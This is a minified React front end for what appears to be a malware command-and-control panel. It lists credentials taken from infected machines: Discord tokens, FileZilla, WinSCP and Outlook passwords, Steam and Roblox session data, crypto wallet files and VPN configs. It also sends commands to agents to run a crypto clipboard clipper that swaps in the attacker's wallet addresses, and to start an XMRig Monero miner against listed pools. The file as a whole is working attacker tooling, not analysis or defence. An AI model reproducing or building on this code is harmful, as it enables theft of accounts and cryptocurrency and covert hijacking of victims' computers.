divide-zerin-panel-border",children:i.discord_tokens.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:se=>w(X.token,se),children:[X.token.slice(0,20),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx(Rn,{title:"Applications",count:(($=i.telegram)!=null&&$.found?1:0)+(((H=i.filezilla)==null?void 0:H.length)??0)+(((F=i.winscp)==null?void 0:F.length)??0)+(((K=i.putty)==null?void 0:K.length)??0)+(((Z=i.outlook)==null?void 0:Z.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?a.jsxs("div",{children:[a.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:X=>w(i.telegram.path,X),children:i.telegram.path})]}),(((oe=i.telegram.files)==null?void 0:oe.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))})]}):a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((de=i.filezilla)==null?void 0:de.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})})]}),(((be=i.winscp)==null?void 0:be.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})})]}),(((ye=i.putty)==null?void 0:ye.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:X.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[X.host,":",X.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.user})]},re))})})]}),(((G=i.outlook)==null?void 0:G.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:X.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})})]}),!((te=i.telegram)!=null&&te.found)&&!((C=i.filezilla)!=null&&C.length)&&!((q=i.winscp)!=null&&q.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx(Rn,{title:"Gaming Sessions",count:((le=i.steam)!=null&&le.found?1:0)+((we=i.epic)!=null&&we.found?1:0)+(((Ne=i.minecraft)==null?void 0:Ne.length)??0)+((Ae=i.roblox)!=null&&Ae.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((R=i.steam)==null?void 0:R.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&a.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&a.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(fe=i.steam.ssfn_files)==null?void 0:fe.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,X.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.name]},re))]})]}),((ve=i.epic)==null?void 0:ve.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((V=i.minecraft)==null?void 0:V.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((X,re)=>a.jsxs("button",{onClick:()=>j(X.data,`${X.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),X.launcher]},re))})]}),((ae=i.roblox)==null?void 0:ae.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:X=>w(i.roblox.cookie,X),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?a.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((U=i.steam)!=null&&U.found)&&!((Q=i.epic)!=null&&Q.found)&&!((he=i.minecraft)!=null&&he.length)&&!((E=i.roblox)!=null&&E.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx(Rn,{title:"Crypto Wallets",count:((ce=i.wallets)==null?void 0:ce.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?a.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((se,Oe)=>a.jsxs("button",{onClick:()=>j(se.data,se.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),se.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx(Rn,{title:"VPN Configs",count:((xe=i.vpn)==null?void 0:xe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(ke=i.vpn)!=null&&ke.length?a.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((X,re)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:X.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",X.files.length," file",X.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:X.files.map((se,Oe)=>a.jsxs("button",{onClick:()=>j(se.data,se.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),se.name]},Oe))})]},re))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ze=i.errors)==null?void 0:ze.length)??0)>0&&a.jsx(Rn,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((X,re)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[X.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:X.error})]},re))})})]}),v&&a.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&a.jsx("div",{className:"flex items-center justify-center py-20",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",a.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function Rn({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r hover:bg-zerin-panel-hover transition-colors`,children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const lV=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],cV={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function R2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function uV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...cV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=R2(b,w);f(N=>{const z={...N};return j?z[b]=j:delete z[b],z})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=R2(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors disabled:opacity-30 disabled:cursor-not-allowed ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:lV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:z=>x(b,z.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text placeholder-zerin-text-muted focus:outline-none focus:ring-1 transition-all ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const $2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function dV({agentId:e,agentStatus:t}){const[n,r]=m.useState($2[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,A)=>{h({text:S,type:A}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const A=await Xn(e),_=(A.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(_.length>0){const O=_[0],P=(A.results??[]).find(I=>I.task_id===O.id);if(P!=null&&P.output)try{const I=JSON.parse(P.output);g(I)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},z=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},k=S=>{const A=Math.floor(S/3600),_=Math.floor(S%3600/60),O=Math.floor(S%60);return A>0?`${A}h ${_}m ${O}s`:_>0?`${_}m ${O}s`:`${O}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),b&&x&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),a.jsx("button",{onClick:z,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),a.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[a.jsx(Ca,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),a.jsx(Ca,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),a.jsx(Ca,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),a.jsx(Ca,{label:"Uptime",value:x.uptime!=null?k(x.uptime):"-"}),a.jsx(Ca,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&a.jsx("div",{className:"px-4 pb-3",children:a.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),a.jsx("select",{value:n,onChange:S=>r(S.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:$2.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text 